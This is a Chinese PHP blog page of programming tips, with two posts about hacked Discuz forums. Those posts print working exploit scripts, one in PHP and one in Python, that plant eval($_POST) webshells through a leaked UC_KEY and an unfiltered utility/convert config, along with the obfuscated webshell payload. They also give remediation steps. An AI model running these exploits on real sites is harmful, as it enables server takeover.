安静
PHP技术博客

140403 微信服务号查询用户信息demo

张 清月阅读(721)

用来查询微信用户信息的,获取用户openid后后去更多相关信息。

define ( 'APP_ID', 'wxccccf7a6gggg4e2' );
define ( 'APP_SECRET', 'bc0ff2e74ebadddd0be31cad2c658a2' );

$token = get_token ();
$user_array = array (
        'o_asdhAHoIkccccccc_dgFokI',
        'asdasdasd-NeLQibjnbQ',
        'deqweqweqweQlrRfxl87k6YKA',
        'occccdee-elL8KPiVEeZwelNhmAY' 
);
$users = array ();
foreach ( $user_array as $user ) {
    $users [] = get_user_info ( $user, $token );
}
function get_token() {
    $url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . APP_ID . "&secret=" . APP_SECRET;
    $data = json_decode ( file_get_contents ( $url ), true );
    if ($data ['access_token']) {
        return $data ['access_token'];
    } else {
        return "获取access_token错误";
    }
}
function get_user_info($openid, $token) {
    $url = "https://api.weixin.qq.com/cgi-bin/user/info?access_token=" . $token . "&openid=" . $openid . "&lang=zh_CN";
    $data = json_decode ( file_get_contents ( $url ), true );
    if ($data) {
        return $data;
    } else {
        echo "获取信息错误错误";
        exit();
        return null;
    }
}

关于访问结果错误

{"errcode":42001,"errmsg":"access_token expired"}

是因为你的好不是服务好无权限获取用户信息。

参考:

  1. http://mp.weixin.qq.com/wiki/index.php?title=%E9%A6%96%E9%A1%B5

140402 PHP页面头部输出空白行部分原因

张 清月阅读(705)

作为Php-coder经常会遇到的莫过于浏览器样式错乱问题,当然这不是指csshack问题,在chrome下正常而在Ie类内核浏览器上显示不正常.

很多时候你会在查看网页源码时看到距离上面会有一行换行,可查看所有加载过的Php代码并没有相关的换行空白符,通过复制源码用2进制文件打开后头部会有EFBBBF内容,恩,很不幸的告诉你你使用的编辑器自动给你的文件加了utf-8 BOM

当然上述得只是一种情况,还有一些比如在头部PHP,session_start()前有输出,服务器关闭了报错也会出现空白行。

一般来说头部空白会有三种原因导致:

  • PHP文件中有utf8BOM头,一般是因为编辑器特别是DW,或者notepad导致的.推荐使用UE,Editplus,sublime等。
  • PHP文件结尾?>后面有空白换行.推荐一般情况下会被包含的.php结尾一般都不加?>。
  • session_start()头部输出前有错误.报错打开查看错误。

何谓BOM?

“EF BB BF” 这三个字节就叫BOM,BOM的全称叫做”Byte Order Mard”.在utf-8文件中常用BOM来表明这个文件是UTF-8文件,而BOM的本意实在utf16中用来表示高低字节序列的。在字节流之前有BOM表示采用低字节序列(低字节在前面),而utf8不用考虑字节序列,所以其实有无BOM都可以。UTF-8以字节为编码单元,没有字节序的问题。UTF-16以两个字节为编码单元,在解释一个UTF-16文本前,首先要弄清楚每个编码单元的字节序。例如收到一个“奎”的Unicode编码是594E,“乙”的Unicode编码是4E59。如果我们收到UTF-16字节流“594E”,那么这是 “奎”还是“乙”?

最后提供一个utf8bom头部PHP类

<?php
if (isset($_GET['dir'])){ 
    $basedir=$_GET['dir'];  
}else{  
    $basedir = '.';  
}  
$auto = 1;  
checkdir($basedir);  
function checkdir($basedir){  
    if ($dh = opendir($basedir)) {  
       while (($file = readdir($dh)) !== false) {  
           if ($file != '.' && $file != '..'){  
              if (!is_dir($basedir."/".$file)) {  
                   echo "filename: $basedir/$file ".checkBOM("$basedir/$file")." \n\r";  
           }else{  
                   $dirname = $basedir."/".$file;  
                   checkdir($dirname);  
              }  
           }  
       }  
       closedir($dh);  
    }  
}  
function checkBOM ($filename) {  
    global $auto;  
    $contents = file_get_contents($filename);  
    $charset[1] = substr($contents, 0, 1);  
    $charset[2] = substr($contents, 1, 1);  
    $charset[3] = substr($contents, 2, 1);  
    if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {  
       if ($auto == 1) {  
           $rest = substr($contents, 3);  
           rewrite ($filename, $rest);  
           return ("<font color=red>BOM found, automatically removed.</font>");  
       }else {  
           return ("<font color=red>BOM found.</font>");  
       }  
    }else return ("BOM Not Found.");  
}  
function rewrite ($filename, $data) {  
    $filenum = fopen($filename, "w");  
    flock($filenum, LOCK_EX);  
    fwrite($filenum, $data);  
    fclose($filenum);  
}

参考

  1. 关于字符串描述 http://en.wikipedia.org/wiki/Byte_order_mark
  2. 知乎关于UTF8与UTF8BOM区别 http://www.zhihu.com/question/20167122
  3. http://www.cnblogs.com/zhongru_tu/archive/2008/04/11/1147792.html

140401 新技能Get! Post By Sublime

张 清月阅读(476)

博主虽然语文水平很有限,估计还不如小学生作文那般流畅,但内心的闷骚是不可阻挡的!

今天新技能Get不得不得瑟下,再这里介绍让你的发布如何的高端大气上档次,低调奢华有内涵。奔放洋气有深度,狂拽炫酷屌炸天,简约时尚国际范,冷艳高贵接地气,时尚动感小清新,低端粗俗甩节操,土憋矫情无下限。B格突然一下高涨,不得不吐露出自己内心深埋的傲然的文字。

如何便捷的让Wordpress使用markdown语法编辑并且发布到wordpress,估计目前还有很多人还在markdown编辑器编辑完以后复制出Html发布到Wordpress. 机智的小伙伴我通过专业的搜索技巧寻找到了2种比较靠谱的编辑发布方式。

stackedit.io

stackedit.io 还是个不错的在线MarkDown编辑工具.
编辑界面左侧是编辑页,右侧是预览页
同时支持发布到自己的Wordpress站点。
如果你需要使用发布到自己的Wordpress站点,那么你需要做如下工作
你需要在自己的博客上安装Jetpack(关于Jetpack是基于Wordpress.com本身做的一个插件集合包)
你需要在Wordpress.com注册个帐号同时绑定自己的独立域名博客。
点击左侧的发布一些列的授权后,即可发布。Postid写1即可.
在后来使用的时候发现提交不了不清楚是什么情况老是提示对应的Postid404 。

Sublmie Text2

Sublmie目前是比较流行的IDE编辑工具,在MAC,Liunx,Ubuntu上用的比较多,Win系列见到使用的人比较少,毕竟有很多的竞品对手如Editplus,UE等,还有很多成熟的IDE。

如何使用Sublime发布Wordpress文章?(本文为MAC用户查看)

准备工作(下载所需的文件):

https://github.com/dodola/sublimemarkpress/blob/master/sublimemarkpress.py
https://github.com/trentm/python-markdown2/blob/master/lib/markdown2.py

安装:

#进入目录 
cd /Users/用户名/Library/Application Support/Sublime Text 2/Packages
#创建目录
mkdir Ajwp
cd Ajwp
cp ~/Desktop/sublimemarkpress.py .
cp ~/Desktop/markdown2.py .
#新建
vi sublimemarkpress.sublime-settings
#保存内容修改为你对应的内容
{
"xmlrpcurl": <URL to xml rpc endpoint>,
"username": <username>,
"password": <password>
}

新建发布:

#新建任意文件,头部保存 
<!--
#status:publish
#title: 新技能Get
-->
#按键Control + ~ 呼出控制台 输入
view.run_command('publish')

登录wordpress后台查看新技能发布的喜悦把。

阅读资料附录

  1. http://my.oschina.net/moyanxiao/blog/130681
  2. http://my.oschina.net/dodola/blog/130747
  3. http://www.cnblogs.com/webmoon/p/3240174.html
  4. https://github.com/trentm/python-markdown2
  5. https://github.com/dodola/sublimemarkpress
  6. wordpress的发布xmlrpc地址为 http://www.domain.com/xmlrpc.php

140331 YII 数据库操作查询

张 清月阅读(540)

CDbCriteria操作:

$criteria = new CDbCriteria;  
$criteria->alias = 't';  //table t,默认select='*';  
//一些public vars   
$criteria->select = 'id,parentid,name'; //代表了要查询的字段,默认select='*';    
$criteria->join = 'xxx'; //连接表    
$criteria->with = 'xxx'; //调用relations   $criteria->with = array('accounts','varchar');  
$criteria->with  = array('teacher'=>  
    array('select'=>'username,company_id',  
     'order'=>'teacher.username ASC')  
);  
$criteria->limit = 10;    //取1条数据,如果小于0,则不作处理    
$criteria->offset = 1;   //两条合并起来,则表示 limit 10 offset 1,或者代表了。limit 1,10    
$criteria->order = 'xxx DESC,XXX ASC' ;//排序条件    
$criteria->group = 'group 条件';    
$criteria->having = 'having 条件 ';    
$criteria->distinct = FALSE; //是否唯一查询  
users::model()->findAll($criteria);  

事务操作:

$transaction = Yii::app ()->db->beginTransaction ();
try {
    if (! $model->save ()) {
        throw new Exception ( 'exception message' );
    }
    $transaction->commit ();
} catch ( Exception $e ) {
    $transaction->rollback ();
}

插入操作:

$post=new Post;
$post->title='sample post';
$post->content='content for the sample post';
$post->create_time=time();
$post->save();

在 Yii 中,可以通过以下两个行为类(Behavior)自动更新字段:

CTimestampBehavior – 标准 zii 行为类,自动填充日期和时间相关的属性
BlameableBehavior – 用户扩展,解压缩到 /path/to/components/behaviors
编辑 /path/to/models/.php 添加或编辑 behavior 函数

public function behaviors()
{
return array(
'CTimestampBehavior' => array(
'class' => 'zii.behaviors.CTimestampBehavior',
'createAttribute' => 'created_date',
'updateAttribute' => 'updated_date',
'setUpdateOnCreate' => true,
),
'BlameableBehavior' => array(
'class' => 'application.components.behaviors.BlameableBehavior',
'createdByColumn' => 'created_by', // optional
'updatedByColumn' => 'modified_by', // optional
),
);
}

140312 discuz帖子内容还原HTML

张 清月阅读(617)

最近挖了个坑把自己埋得差不多了,唉,说点什么好呢?太lower么

新功能需要还原贴内信息,同步到其他系统。网上看了下并没有相关内容,并且有不少遇到了parseattach还原问题。这里发下我解决的代码:

关于贴内附件还原discuz原始方法:

$tid=181281;
$pid=4645197;
$aid=190137;
$pids = array (
$pid 
);
$attachs = array (
$pid => array (
$aid 
) 
);
$list = array (
$pid => array (
'message' => '嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒的 的的的 的 <br />[attach]190137[/attach]<br />',
'pid' => $pid,
'attachments' => array () 
) 
);
require_once libfile ( 'function/attachment' );
$_G ['tid'] = $tid;
parseattach ( $pids, $attachs, $list );
var_dump($list);

改良过得帖子内容还原

/**
*@param: 处理discuz帖子还原相关代码demo
*@desc : 2个函数去作为获取附件并且返回附件url参数最后替换attach
*/
$thread_info = DB::fetch_first ( "select a.`tid`, a.`authorid`, a.`author`,a.`dateline`, a.`subject`, b.`message` from " . DB::table ( 'forum_thread' ) . " as a, " . DB::table ( 'forum_post' ) . " as b where a.tid=$tid and a.tid=b.tid and b.first=1 order by pid desc limit 1" );

require_once libfile ( 'function/discuzcode' );

$thread_info ['dateline'] = date ( "Y-m-d H:i:s", $thread_info ['dateline'] );
$thread_info ['message'] = discuzcode ( $thread_info ['message'] );

if (preg_match_all ( "/\[attach\](\d+)\[\/attach\]/i", $thread_info ['message'], $matchaids )) {
$attach_ids = $matchaids [1];
}
$attach_list = array ();
foreach ( $attach_ids as $aid ) {
$find = "/\[attach\]$aid\[\/attach\]/i";
$thread_info ['message'] = preg_replace ( $find, get_lw_attach_path ( $aid ), $thread_info ['message'], 1 );
$thread_info ['message'] = preg_replace ( $find, '', $thread_info ['message'] );

}



function get_lw_attach_path($aid) {
global $_G;
$return = $filename = '';
if ($attach = C::t ( 'forum_attachment_n' )->fetch ( 'aid:' . $aid, $aid, array (1,- 1) )) {
return get_lw_attach_path_str ( $attach );
}
return $filename;
}
function get_lw_attach_path_str($attach) {
global $_G;

if (! $attach ['isimage']) {
return '<a href="' . $_G ['siteurl'] . 'forum.php?mod=attachment&aid=' . aidencode ( $attach ['aid'] ) . '">' . $attach ['filename'] . '</a>';
}
if ($attach ['remote']) {
$imgurl = $_G ['setting'] ['ftp'] ['attachurl'] . 'forum/' . $attach ['attachment'];

return '<p><img onclick="viewimage(this);" src="' . $imgurl . '" /></p>';
} else {
if (preg_match ( '/^(?!http:)/', $attach ['url'] )) {
$attach ['url'] = $_G ['siteurl'] . 'data/attachment/forum/' . $attach ['url'];
}
$imgurl = $attach ['url'] . $attach ['attachment'] . ($_G ['gp_width'] ? '&width=' . $_G ['gp_width'] : '') . ($_G ['gp_height'] ? '&height=' . $_G ['gp_height'] : '');

return '<p><a href="' . $imgurl . '" target="_blank"><img height="320" width="320" src="' . $imgurl . '" /></a></p>';
}

}

140218 wp-postviews,wp-supercache冲突解决

张 清月阅读(602)

wp-postviews,wp-supercache冲突

很多时候博客为了加速访问会安装wp-supercache来解决访问速度问题,但糟糕的是大部分人在使用的时候发现wp-postviews使用失效了,然后网上搜索了一大堆无效的代码文章,并且并不能正确的解决该问题。自己查看了调用代码,找到了具体原因:

本质上wp-postviews已经解决了wp-supercache的冲突,但是很多主题作者为了解决多次调用jquery,或者jquery加速问题会自己另外加载jquery,并且主题里增加:

wp_deregister_script("jquery");

从而做到不加载wordpress自带jquery:

<script type='text/javascript' src='http://www.lewafan.com/wp-includes/js/jquery/jquery.js?ver=1.10.2'></script>
<script type='text/javascript' src='http://www.lewafan.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>

解决此类冲突:

//修改:plugins/wp-postviews/wp-postviews.php 847行
wp_enqueue_script('wp-postviews-cache', plugins_url('postviews-cache.js', __FILE__), array('jquery'), '1.64',true);
//修改为:
wp_enqueue_script('wp-postviews-cache', plugins_url('postviews-cache.js', __FILE__), false, '1.64',true);

wp_enqueue_script wordpress使用介绍

 wp_enqueue_script( $handle, $src, $deps, $ver, $in_footer )


参数

$handle

(字符串)(必需)脚本名称。小写字符串。

默认值:None

$src

(字符串)(可选)WordPress根目录下的脚本路径

示例:"/wp-includes/js/scriptaculous/scriptaculous.js"。该参数只在WordPress不了解脚本情况时使用。

默认值:None

$deps

(数组)(可选)脚本所依靠的句柄组成的数组;加载该脚本前需要加载的其它脚本。若没有依赖关系,返回false。该参数只在WordPress不了解脚本情况时使用。

默认值:array()

$ver

(字符串)(可选)指明脚本版本号的字符串(若存在版本号)。默认为false。该参数可确保即使在启用缓存的状态下,发送给客户端的仍然是正确版本,因此如果版本号可用且对脚本有意义,包含该版本号。

默认值:false

$in_footer

(布尔型)(可选)通常情况下脚本会被放置在区块中。如果该函数为true,脚本则会出现在区块的最下方。要求主题在适当的位置中包含有wp_footer()钩子。(WordPress新功能)

默认值:false

wp_enqueue_script使用demo:

add_action('wp_enqueue_scripts', 'wp_postview_cache_count_enqueue');
function wp_postview_cache_count_enqueue() {
    wp_enqueue_script('wp-postviews-cache', plugins_url('postviews-cache.js', __FILE__), false, '1.64',true);
    wp_localize_script('wp-postviews-cache', 'viewsCacheL10n', array('admin_ajax_url' => admin_url('admin-ajax.php', (is_ssl() ? 'https' : 'http')), 'post_id' => intval($post->ID)));  
}

相关资料:

http://codex.wordpress.org/Function_Reference/wp_enqueue_script
http://www.wordpress.la/codex-%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0-wp_enqueue_script().html

140214 discuz pasteHTML is not a function

张 清月阅读(640)

discuz发表文章的时候,editor.js触发关于表情插入点击会报错 pasteHTML is not a function,会在ie9,firefox中出现。

网上查了下x3 x3.1 都有类似问题不过在过去的补丁里面discuz已经修复了。

例如:http://www.discuz.net/thread-3480872-1-1.html

不过可能有一些公司是不会随着discuz版本而升级,有些BUG比较难查,类似这个。

修复方法:

//修改 static/js/editor.js中

function insertText(text, movestart, moveend, select, sel) {
        checkFocus();
        if(wysiwyg) {
                try {
                        var sel = editdoc.getSelection();
                        if(!sel || sel.type.toString().toLowerCase() == 'none'){
                        editdoc.getElementsByTagName('body')[0].focus();
                         }
                        var range = sel.getRangeAt(0);
                        if(range && range.insertNode) {
                                range.deleteContents();
                        }
                        var frag = range.createContextualFragment(text);
                        var lnode = frag.lastChild;
                        range.insertNode(frag);
                        range.setEndAfter(lnode);
                        range.setStartAfter(lnode);
                        sel.removeAllRanges();
                        sel.addRange(range);
            }...

//修改为:
function insertText(text, movestart, moveend, select, sel) {
	checkFocus();
	if(wysiwyg) {
		try {
			var sel = editdoc.getSelection();
			var range = sel.getRangeAt(0);
			if(range && range.insertNode) {
				range.deleteContents();
			}
			var frag = range.createContextualFragment(text);
			var lnode = frag.lastChild;
			range.insertNode(frag);
			range.setEndAfter(lnode);
			range.setStartAfter(lnode);
			sel.removeAllRanges();
			sel.addRange(range);
		}...

140214 博客最近访客增强

张 清月阅读(451)

看到很多博客统计最近访客的时候会莫名的把我列在其中,我并没有参与过评论,觉得挺好奇的,于是看了下代码。

从原理上来说就是加载用户cookie,判断各种授权后结论用户是神马,多说是具有这种多授权信息判断的工具,比如单方面的新浪微博是做不到的说。

当然要使用该功能,你的站点必须安装多说评论,并且访问用户曾经授权多说评论过,否则无效。

昨天做了个种子搜索,头部就引用了下面分享的代码,如果要自己使用请修改short_name.


		<ul class="ds-recent-visitors" data-num-items="61"></ul>
		<script type="text/javascript">
		var duoshuoQuery = {short_name:"80aj"};
		(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = 'http://static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ds);
		})();
		</script>

140213 discuz添加ajax请求导致内部错误,无法显示此内容

张 清月阅读(750)

这件事情很蠢,不过有必要记录下。

discuz添加ajax请求自动填充内容

ajaxget() AJAX/GET请求
ajaxget(url, showid, waitid, loading, display, recall)
key	默认值	含义
url	(必填)	请求的 url
showid	(必填)	ajax 返回信息显示区域的 id
waitid	showid	ajax 请求过程中显示等待信息区域的 id
display		信息返回后 showId 的 style.display 值
recall		信息返回后执行的代码

php-ajaxget-demo


//demo:
<div id="466885"></div>
<script>
ajaxget("bbsapi/api.php?usermail=a@80aj.com", "466885");
</script>

//demo back  api.php

<?xml version="1.0" encoding="utf-8"?>
<root><![CDATA["返回html内容之类"]]></root>

其实上面的已经简单的实现了discuz的ajaxget请求操作,并且在chrome,360,firefox,safari,ie11之类的浏览器下都正常。可是在ie9之类的浏览器下则不正常会显示:

导致内部错误,无法显示此内容

网上找了下资料说是xml描述格式不对,但反复验证测试跟返回的内容没有半毛钱关系。最后通过在浏览器中打开ajax请求内容做对比才发现:

虽然chrome之类得没有能正确的解析出内容是xml,但是因为格式是对的,所以在ajax请求以后,浏览器就人为是正常的xml可被js解析。但是在ie9以下对于这条的理解比较愚蠢导致了上述的错误,所以我们只需要:

在AJax头部输出增加xml协议描述即可。

//添加header输出饥渴
header('Content-Type: text/xml');

相关资料:
http://www.jb51.net/cms/44106.html
http://dev.discuz.org/wiki/index.php?title=Function_js

140212 Discuz UC_KEY泄露导致获得WebShell

张 清月阅读(690)

吃饭的时候同事发了个微信给我,说社区头像都显示不了了,当时没太在意,估计是cdn的问题。回来后打开网站自己看了下,乖乖把我吓坏了竟然出现了这么个情况。

所有头像地址都变为:

http://xxx\');eval($_POST[DOM]);//avastar.php?uid=123&size=middle

一看就知道是被人黑了,估计还拿到了webshell.

果断看了下代码做了断点调试,确实是ucenterurl中的值被更改了

function avatar($uid, $size = 'middle', $returnsrc = FALSE, $real = FALSE, $static = FALSE, $ucenterurl = '') {
	global $_G;
	if($_G['setting']['plugins']['func'][HOOKTYPE]['avatar']) {
		$_G['hookavatar'] = '';
		$param = func_get_args();
		hookscript('avatar', 'global', 'funcs', array('param' => $param), 'avatar');
		if($_G['hookavatar']) {
			return $_G['hookavatar'];
		}
	}
	static $staticavatar;
	if($staticavatar === null) {
		$staticavatar = $_G['setting']['avatarmethod'];
	}

	$ucenterurl = empty($ucenterurl) ? $_G['setting']['ucenterurl'] : $ucenterurl;
	$size = in_array($size, array('big', 'middle', 'small')) ? $size : 'middle';
	$uid = abs(intval($uid));
	if(!$staticavatar && !$static) {
		return $returnsrc ? $ucenterurl.'/avatar.php?uid='.$uid.'&size='.$size : '<img src="'.$ucenterurl.'/avatar.php?uid='.$uid.'&size='.$size.($real ? '&type=real' : '').'" />';
	} else {
		$uid = sprintf("%09d", $uid);
		$dir1 = substr($uid, 0, 3);
		$dir2 = substr($uid, 3, 2);
		$dir3 = substr($uid, 5, 2);
		$file = $ucenterurl.'/data/avatar/'.$dir1.'/'.$dir2.'/'.$dir3.'/'.substr($uid, -2).($real ? '_real' : '').'_avatar_'.$size.'.jpg';
		return $returnsrc ? $file : '<img src="'.$file.'" onerror="this.onerror=null;this.src=\''.$ucenterurl.'/images/noavatar_'.$size.'.gif\'" />';
	}
}

在config/config_ucenter.php 中的 UC_API 的值变成了一句话木马。根据字符特征,很快找到了exp

<?php
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

网上没有相关的对策不过oldjun说得很对这玩意漏洞必须满足2个条件:

1.必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中;
2.配置文件config_ucenter.php必须可写。

说白了是因为在做cdn源的时候比较粗肢的把php源代码包含了一部分出去,所以hacker可以根据相对路径获取到uc_key的内容。

关于如何解决:
1:修改 config_ucenter.php 权限为不可写
2:修改 api/uc.php 中 代码,把之注释掉
3: 更改 uc_key ,并且保证config_ucenter.php中的与uc_server/data/cache/apps.php中的一致

if ($UC_API && is_writeable ( DISCUZ_ROOT . './config/config_ucenter.php' )) {
if (preg_match ( '/^https?:\/\//is', $UC_API )) {
$configfile = trim ( file_get_contents ( DISCUZ_ROOT . './config/config_ucenter.php' ) );
$configfile = substr ( $configfile, - 2 ) == '?>' ? substr ( $configfile, 0, - 2 ) : $configfile;
$configfile = preg_replace ( "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '" . addslashes ( $UC_API ) . "');", $configfile );
if ($fp = @fopen ( DISCUZ_ROOT . './config/config_ucenter.php', 'w' )) {
//@fwrite ( $fp, trim ( $configfile ) );
@fclose ( $fp );
}
}
}

本文参考:

http://www.oldjun.com/blog/index.php/archives/76/
http://www.unhonker.com/bug/1509.html

140127 wordpress可视化优化

张 清月阅读(604)

优化是基于lnmp架构的系统,用户访问前端访问加速的优化。并不适合所有用户。

wordpress主题优化

取消头部内容加载
//头部取消wordpress自带jquery加载
//修改当前模板 header.php 在 wp_head();增加
wp_deregister_script("jquery");
//主题function.php里增加下方代码,去掉一些没有必要的内容加载
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');
remove_action('wp_head', 'wp_generator');

wordpress图片优化

LNMP开启对于图片的gzip压缩支持
修改文件 /usr/nginx/conf/nginx.conf增加红色部分
gzip_types text/plain application/x-javascript text/css application/xml image/jpeg image/gif image/png;
资源图片优化
http://zhanzhang.baidu.com/optimization/index?site=http://www.m2277.com/

wordpress样式优化

利用PHP – Minify优化css,js进行请求压缩。
下载minify包 http://pan.baidu.com/s/1bn6BLIf

//将解压缩后的包min放入主题目录下,注意:当前wordpress需要开启urlwrite
//具体引用CSS放头部 header.php
<link rel="stylesheet" href="<?php bloginfo('template_url');?>/min/?b=<?php echo str_replace(get_bloginfo('home') . '/', '', get_bloginfo('template_directory')); ?>/assets&f=reset.css,mangguo.css">
//具体引用JS放底部 footer.php
<script charset="utf-8" src="<?php bloginfo('template_url');?>/min/?b=<?php echo str_replace(get_bloginfo('home') . '/', '', get_bloginfo('template_directory')); ?>/assets&f=jquery.min.js,jquery.cookie.js,mangguo.js"></script>

wordpress插件缓存优化

后台安装 wp-super-cache,开启预加载。会有点击数不增加BUG,不过这个不是很关注。我们都会用百度,cnnz之类的统计代码。
关于: memcached,redis,Varnish等等是能给wordpress减少大量的db请求,但本质上没有解决用户秒开的问题,所以我没有使用。

非本主题相关

//修改wp-config.php,取消后台编辑文章的修订功能
define('WP_POST_REVISIONS', false);

140126 discuz站点被黑,复盘

张 清月阅读(568)

手里一个站点被黑了 也就是大概2013-12-20号左右,乌云爆了一个关于discuz安装包中自带升级转化工具配置未过滤得漏洞,当时没有注意,并不认为自己会犯这样的错。 事实狠狠的给了我一个巴掌。在这里我不得不说discuz,360safe,anquan这类的网站实时性很差。

discuz utility 漏洞修复

删除 utility目录即可。

具体漏洞演示:

访问:www.80aj.com/utility/convert/index.php

ld
修改表单 新增输入项

<input type="text" name="newconfig[aaa eval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).
CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]" size="40" value="localhost" />

discuz漏洞 直接黑客利用Python代码:

#coding=utf-8
#Nx4dm1n 2013-12
import httplib, urllib
def dzconvertexp(url,vulfile):
    allvulfile=vulfile+'convert/index.php'
    target='http://'+url+vulfile
    page=urllib.urlopen(target)
    html=page.read()
    httpresponse=page.getcode()
    if httpresponse==200:
        httpClient = None
        try:
            params ='a=config&source=d7.2_x2.0&submit=yes&newconfig%5Bsource%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost'
            print params
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html"}
 
            httpClient = httplib.HTTPConnection(url, 80, timeout=10)
            httpClient.request("POST",allvulfile, params, headers)
            response = httpClient.getresponse()
            print response.getheaders()
        except Exception, e:
            print e
        finally:
            if httpClient:
                httpClient.close()
    else:
        print 'no'
 
#输入目标url和convert的目录,常见的是/utility/目录,或者就直接是在根目录下
url=raw_input('Input url(No http):')
dirm=raw_input('Input the convert directory(ex:/utility/):')
dzconvertexp(url,dirm);
//黑客代码 
chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59);
//转换后的值
fputs(fopen('data/a.php','w'),'<?php eval($_POST[cmd])?>');
//其中几个数值是一句话木马必备的  查杀的时候需要分开
chr(101);
chr(118);
chr(97);
chr(108);
chr(69);
chr(86);
chr(65);
chr(76);

资料参考:

http://www.myhack58.com/Article/html/3/62/2013/41505.htm
http://www.wooyun.org/bugs/wooyun-2010-014681
http://www.nxadmin.com/penetration/1224.html

140121 AJ_Book wordpress 单本小说主题

张 清月阅读(2516)

单本小说站,利于seo,文章关键字权重叠加,长尾词与内容相关度高,无弹窗,单域名补权重,日指数好的小说有几十万,新手seo来说,单本小说站是个不错的练手内容。

一直有想做单站小说的想法,可想法不仅仅于此,多客户端,更新推送,手机直接缓存整本小说,在无网络的情况下也可以阅读,因为没有办法全部都做掉,所以小说站一直未成型。

前段时间群里发了个单站小说,域名就不说了,单域名日IP预估在20万左右。哼哼!竟然比某些公司运营的项目还犀利。好吧,吃点螃蟹渣,看看有莫有味道。

模板UI部分并非原创,是扒皮的,程序员大部分都没有美学细胞。原作者的版本是售卖的,本主题为共享内容,并非盗版,如果你支持正版,可以在文章底部访问购买。

主题名称:AJ_Book
主题类型:单本小说
原版UI:Eventure
作者: 80aj
演示地址:绝世唐门全本

截图:

ys1

ys2

后台使用:

ht1

ht2

下载地址:

链接: http://pan.baidu.com/s/1i3DQZgp 密码: pfn7

原主题相关信息:

Evbook

140116 discuz jiathis分享图片为用户头解决方法
